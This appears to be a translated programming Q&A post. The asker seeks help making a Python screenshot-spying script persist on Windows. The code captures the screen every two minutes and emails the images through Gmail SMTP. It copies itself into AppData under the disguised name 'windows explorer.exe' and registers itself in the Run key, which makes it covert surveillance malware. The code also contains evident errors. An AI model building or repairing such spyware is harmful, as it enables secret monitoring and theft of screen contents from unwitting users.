【发布时间】:2020-09-10 18:32:35
【问题描述】:
我正在使用那个启动 regedit 代码(python 3)但不工作
启动代码:
def become_persistent(self):
evil_file_location = os.environ["appdata"] + "\\ windows explorer.exe"
if not os.path.exists(evil_file_location):
shutil.copyfile(sys.executable, evil_file_location)
subprocess.call('reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v test /t REG_SZ /d "' + evil_file_location + '"', shell=True)
完整代码在这里
我制作了一个 python 脚本,在特定时间间隔后发送屏幕截图。现在我想将持久性(程序在启动时启动)添加到该程序。我已将启动语句添加到我的程序中,但它不起作用。
import smtplib
import sys
from email.mime.multipart import MIMEMultipart
from email.mime.image import MIMEImage
import time
import os
from smtplib import SMTP
import shutil
from PIL import ImageGrab
import subprocess
import self
def become_persistent(self):
evil_file_location = os.environ["appdata"] + "\\ windows explorer.exe"
if not os.path.exists(evil_file_location):
shutil.copyfile(sys.executable, evil_file_location)
subprocess.call('reg add HKCV\Software\Microsoft\Windows\CurrentVersion\Run /v test /t REG_SZ /d "' + evil_file_location + '"', shell=True)
self.become_persistent()
s: SMTP = smtplib.SMTP('smtp.gmail.com', 587)
s.starttls()
s.login("zainali90900666@gmail.com", "password")
msg = MIMEMultipart()
msg['Subject'] = 'Test Email'
msg['From'] = "zainali90900666@gmail.com"
msg['To'] = "zainali90900666@gmail.com"
while True:
snapshot = ImageGrab.grab()
# Using png because it cannot write mode RGBA as JPEG
file = "scr.png"
snapshot.save(file)
# Opening the image file and then attaching it
with open(file, 'rb') as f:
img = MIMEImage(f.read())
img.add_header('Content-Disposition', 'attachment', filename=file)
msg.attach(img)
os.remove(file)
s.sendmail("zainali90900666@gmail.com", "zainali90900666@gmail.com", msg.as_string())
# Change this value to your liking
time.sleep(120)
【问题讨论】:
-
这是在 Windows、Linux 还是 macOS 上?
-
这是在 Windows 上
-
澄清一下,当你用python运行它时它工作正常,但是当你尝试在启动时自动运行它时它却无法工作?
-
是的,当我使用 pyinstaller 将我的 python 脚本转换为 exe 时,它会运行但不会添加到启动注册表中
标签: python python-3.x python-requests subprocess